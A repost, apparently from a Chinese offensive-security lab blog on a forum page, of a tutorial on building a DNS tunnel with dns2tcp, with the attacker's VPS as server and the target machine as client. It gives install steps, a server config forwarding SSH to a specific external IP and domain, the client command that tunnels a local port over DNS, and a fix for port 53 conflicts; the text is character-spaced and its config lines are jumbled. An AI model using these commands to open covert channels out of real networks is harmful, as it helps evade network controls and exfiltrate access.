搜索

[349] 2020-10-29_dns2tcp搭建dns隧道

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2020-10-29_dns2tcp搭建dns隧道 d n s 2 t c p 搭 建 d n s 隧 道 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 0 - 1 0 - 2 9 收 录 于 话 题   # 内 网 攻 防   , 4 3 个 介 绍 及 安 装 介 绍 及 安 装 d n s 2 t c p 用 来 搭 建 d n s 隧 道 。 地 址 ： h t t p s : / / g i t h u b . c o m / a l e x - s e c t o r / d n s 2 t c p 。 分 客 户 端 和 服 务 端 ， 服 务 端 为 攻 击 机 ， 客 户 端 为 目 标 机 。 这 里 以 源 码 安 装 为 例 ， 运 行 下 列 命 令 ： 安 装 后 就 可 以 直 接 在 命 令 行 运 行 了 ， 输 入 d n s 2 按 两 下 t a b 会 发 现 有 两 个 相 关 命 令 ， 一 个 d n s 2 t c p c （ 客 户 端 ） ， 一 个 d n s 2 t c p d （ 服 务 端 ） 。 条 件 准 备 条 件 准 备 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / a l e x - s e c t o r / d n s 2 t c p . g i t . / c o n f i g u r e m a k e m a k e   i n s t a l l
域 名 以 及 V P S 的 设 置 和 测 试 方 法 和 之 前 d n s c a t 2 、 i o d i n e 的 一 摸 一 样 ， 可 参 考 上 两 篇 文 章 ， 这 里 修 改 下 n s 记 录 的 名 称 ， 便 于 测 试 学 习 。 然 后 老 规 矩 a 记 录 测 试 ： n s 记 录 测 试 ： 搭 建 隧 道 搭 建 隧 道 搭 建 之 前 ， 我 们 需 要 在 服 务 端 建 一 个 配 置 文 件 ， 设 置 一 些 信 息 ： v i m   / e t c / d n s 2 t c p d . c o n f ， 默 认 不 存 在 ， 输 入 如 下 内 容 ： l i s t e n   =   0 . 0 . 0 . 0
l i s t e n 代 表 监 听 地 址 ， 四 个 0 代 表 监 听 所 有 i p 。 p o r t 指 定 的 是 d n s 2 t c p 端 口 ， 也 就 是 d n s 5 3 端 口 。 u s e r 不 指 定 用 户 ， c h r o o t 指 定 临 时 文 件 缓 存 地 址 ， d o m a i n 指 定 n s 记 录 的 值 。 r e s o u r c e s 作 用 相 当 于 代 理 。 设 置 好 后 ， 运 行 以 下 命 令 启 动 ： ` d n s 2 t c p d   - F   - d   2   - f   / e t c / d n s 2 t c p d . c o n f ` 。 然 后 客 户 端 运 行 以 下 命 令 ： ` d n s 2 t c p c   - r   s s h   - z   d n s 2 t c p . j x c l s t h u b . x y z   - l   8 8 8 8   - d   2 ` 参 数 说 明 ： F 为 前 端 运 行 ， d 为 信 息 输 出 级 别 ， 越 大 越 详 细 ， f 指 定 配 置 文 件 ， r 指 定 资 源 名 称 ， 需 要 和 服 务 端 配 置 文 件 中 的 r e s o u r c e s 一 致 ， z 指 定 自 己 配 置 的 d n s 域 ， l 指 定 绑 定 的 端 口 。 上 面 命 令 作 用 相 当 于 ， v p s 和 目 标 机 通 过 d n s 2 t c p 建 议 了 一 条 d n s 隧 道 ， 目 标 机 绑 定 了 8 8 8 8 端 口 ， 会 将 8 8 8 8 端 口 请 求 通 过 d n s 隧 道 给 到 v p s 上 的 2 2 端 口 。 这 时 ， 在 目 标 机 通 过 s s h 命 令 连 接 本 地 的 8 8 8 8 端 口 登 录 ， 就 可 以 登 录 到 v p s 上 ， 如 下 图 ： 使 用 t m u x 的 整 体 截 图 ： p o r t   =   5 3 n a m e s e r v e r   =   8 . 8 . 8 . 8 u s e r   =   n o b o d y c h r o o t   =   / t m p d o m a i n   =   d n s 2 t c p . j x c l s t h u b . x y z r e s o u r c e s   =   s s h : 1 4 9 . 2 8 . 2 9 . 2 1 4 : 2 2
错 误 解 决 错 误 解 决 服 务 端 在 运 行 命 令 ： ` d n s 2 t c p d   - F   - d   2   - f   / e t c / d n s 2 t c p d . c o n f ` 启 动 ， 刚 开 始 报 了 以 下 错 误 ， 提 示 e r r o r   s o c k e t . c : 1 0 7   b i n d   e r r o r 。 搜 索 原 因 是 5 3 端 口 被 占 用 ， 需 要 k i l l 掉 那 个 程 序 ， 于 是 查 看 k i l l 掉 后 ， 再 查 看 5 3 端 口 还 被 占 用 。 后 来 发 现 程 序 为 s y s t e m d - r e s o l v e 系 统 解 析 ， 它 不 能 直 接 k i l l 掉 ， 需 要 先 停 止 服 务 ， 再 禁 用 服 务 ， 命 令 如 下 ： 禁 用 后 ， 需 要 修 改 服 务 端 的 配 置 文 件 ， 加 一 个 n a m e s e r v e r 指 定 一 个 d n s ， 否 则 系 统 和 d n s 2 t c p 都 没 有 d n s ， 则 就 无 法 利 用 通 信 了 。 示 例 ： s e r v i c e   s y s t e m d - r e s o l v e d   s t o p s y s t e m c t l   d i s a b l e   s y s t e m d - r e s o l v e d l i s t e n   =   0 . 0 . 0 . 0 p o r t   =   5 3 n a m e s e r v e r   =   8 . 8 . 8 . 8 u s e r   =   n o b o d y
u s e r   =   n o b o d y c h r o o t   =   / t m p d o m a i n   =   d n s 2 t c p . j x c l s t h u b . x y z r e s o u r c e s   =   s s h : 1 4 9 . 2 8 . 2 9 . 2 1 4 : 2 2
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理